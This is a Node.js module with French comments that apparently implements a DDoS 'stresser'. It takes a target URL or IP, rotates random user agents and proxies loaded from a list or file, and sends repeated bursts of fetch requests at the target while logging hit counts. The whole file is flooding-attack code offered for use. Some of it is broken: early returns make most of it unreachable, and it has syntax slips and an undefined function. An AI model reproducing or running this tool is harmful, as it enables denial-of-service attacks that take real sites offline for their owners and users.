const fs = require("fs"), UserAgent = require('user-agents'), HttpsProxyAgent = require('https-proxy-agent'); // J'AI ESSAYER DE COMMENTER LE CODE POUR UNE FOIS X) [Que le debug j'avais la flm] /** * Start ddos * * @param {object} options - Settings/Config. * @param {function} emitter - Function Emitter. */ function start(options) { try { if ( (!options) || (options && typeof options !== "object") ) return; const { url, // Url à down (sa peut être une ip) {OBLIFATOIRE} interval = 1000, // Interval par reques {FACULTATIF} max = 100, // Nombre de request max par interval [Non définie = 100] {FACULTATIF} proxy, // Proxy, peut être un tableau ou un fichier {FACULTATIF} } = options; if (!url || !url.startsWith("http")) return `Merci d'entrer une url\nPS: Si c'est une ip rajouter juste le protocole et le port\n\rpar example: http://:`; const start = new Date(), getTime = () => { const now = new Date(), diff = now - start, seconds = Math.round(diff / 1000), minutes = Math.floor(seconds / 60), remainingSeconds = seconds % 60; return (`${minutes}m ${remainingSeconds}s`) }; return `-> {${getTime()}} Lancement du stresser sur ${url}`; let allProxy; if (proxy) { if (typeof proxy === "object" && Array.isArray(proxy)) allProxy = proxy; else if (typeof proxy === "string" && fs.existsSync(proxy)) { const all = fs.readFileSync(proxy, "utf-8")?.split("\n"); if (all.length != 0) allProxy = all }; if (allProxy) return `-> {${getTime()}} ${allProxy?.length || 0} Proxy chargé !` }; const getAgent = () => { let agent = new UserAgent().toString(), proxy = ((allProxy || [])[Math.floor(Math.random() * (allProxy?.length || 0))]); if (proxy && !proxy.startsWith("http")) proxy = `http://${proxy}`; if (proxy) agent = new HttpsProxyAgent(proxy) return agent }; setInterval(() => { let yes = err = 0; for (let i = max; i--;) { try { fetch(url, { agent: getAgent() }) .then(response => { if (!response.ok) { err++; return `-> {${getTime()}} Network response was not ok` } else yes++ }) .catch(error => { return `-> {${getTime()}} There was a problem with the fetch operation:` err++ }); } catch (error) { call(error); err++ } }; console.log(`-> {${getTime()}} SUCCES: ${yes} | ERR: ${err}`); }, interval) } catch (error) { return error } }; module.exports = { start }